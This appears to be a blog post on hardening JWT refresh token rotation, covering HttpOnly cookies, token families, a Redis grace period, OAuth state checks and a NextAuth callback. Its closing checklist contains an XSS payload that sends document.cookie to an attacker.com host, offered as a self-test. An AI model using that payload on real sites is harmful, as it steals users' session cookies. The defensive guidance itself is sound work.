loke.dev
Header image for Hardening JWT Refresh Token Rotation and Auth Flows
authentication security oauth web-development

Hardening JWT Refresh Token Rotation and Auth Flows

Implement secure jwt refresh token rotation with a state machine approach to prevent race conditions, session hijacking, and common OIDC/OAuth implementation flaws.

Published 4 min read

Storing sensitive tokens in localStorage isn't a "rookie mistake." It's professional negligence. You’re handing your users' credentials to anyone who figures out how to inject a script. One XSS vulnerability and your entire session database is public domain.

Developers pick localStorage because window.localStorage.getItem() is easy. You’re trading user security for five minutes of ergonomic comfort. Stop it.

Move the burden to the browser’s network stack. Use HttpOnly cookies.

The Token Family: Stop Being Naive

Treat tokens like a finite state machine. A token family is a group of refresh tokens tied to one initial login. When you issue a new access token, issue a new refresh token and burn the old one.

This is jwt refresh token rotation. If an attacker snags a token and refreshes it, they’re in. But when the legitimate user tries to use their now-dead token, your server detects the anomaly. The family is already rotated. You kill the entire family. The attacker is kicked out. The user is kicked out. A fresh login is required. That's how you handle a breach.

HttpOnly Cookies vs. Reality

Stop manually attaching Authorization: Bearer <token> to your fetch calls. Move the refresh token into an HttpOnly, Secure, SameSite=Strict cookie. The browser handles the heavy lifting.

*   HttpOnly: JavaScript can’t touch it. document.cookie returns an empty string to an attacker.
*   Secure: Forces TLS. No interception.
*   SameSite=Strict/Lax: The browser blocks cross-site leakage. CSRF protection baseline.

Your backend changes, too. The browser fires the token on every /refresh request. Your server validates the cookie, rotates the token, and sends a new Set-Cookie header. Simple.

Killing Race Conditions

The "random logout" complaint? That’s developers firing five parallel fetch calls. The first call rotates the token; the other four hit the server with a stale one.

Don't build a complex client-side request queue. That’s just more code for you to maintain and break. Implement a grace period. Keep the rotated token in Redis as "stale" for 30–60 seconds. If a request hits with a recently invalidated token from the same family, accept it but don't rotate again. You solve the race condition without opening security holes.

Fixing OIDC State Mismatch

If you're seeing OAuth state mismatch errors, you’re doing it wrong. Don't hardcode a static string. Generate a cryptographically secure random value, stash it in an HttpOnly cookie before redirecting, and verify it on the callback. If the state in the query param doesn't match the cookie, drop the connection. It’s an injection attempt.

Audit Your NextAuth Setup

Auth.js is popular, but the defaults are often wide open. A 30-day session expiry without rotation is just a 30-day window for an attacker to squat in your user’s session.

Configure your jwt callback to force rotation:

// pages/api/auth/[...nextauth].ts
async jwt({ token, user, account }) {
  if (account && user) {
    return {
      accessToken: account.access_token,
      refreshToken: account.refresh_token,
      accessTokenExpires: Date.now() + account.expires_in * 1000,
      user,
    };
  }

  if (Date.now() < token.accessTokenExpires) return token;

  return refreshAccessToken(token);
}

The Checklist

*   Cookie Audit: Run document.cookie. If you see a token, fix your code.
*   XSS Test: Inject fetch('https://attacker.com/' + document.cookie). If it captures anything, you aren't ready for production.
*   Rotation Test: Two tabs. Refresh. If the first tab kills the second, implement the 30-second grace period.
*   Logout Audit: Check Redis. If the session persists after a logout, your implementation is broken.
*   PKCE: If you aren't using code_challenge, you're living in 2015.

The browser is hostile by design. Don't fight it by trying to keep the server stateless while tracking state in the client. That’s why your auth feels messy. Keep the logic behind the API boundary where it belongs. Stop overengineering the frontend and lock the gate.

Resources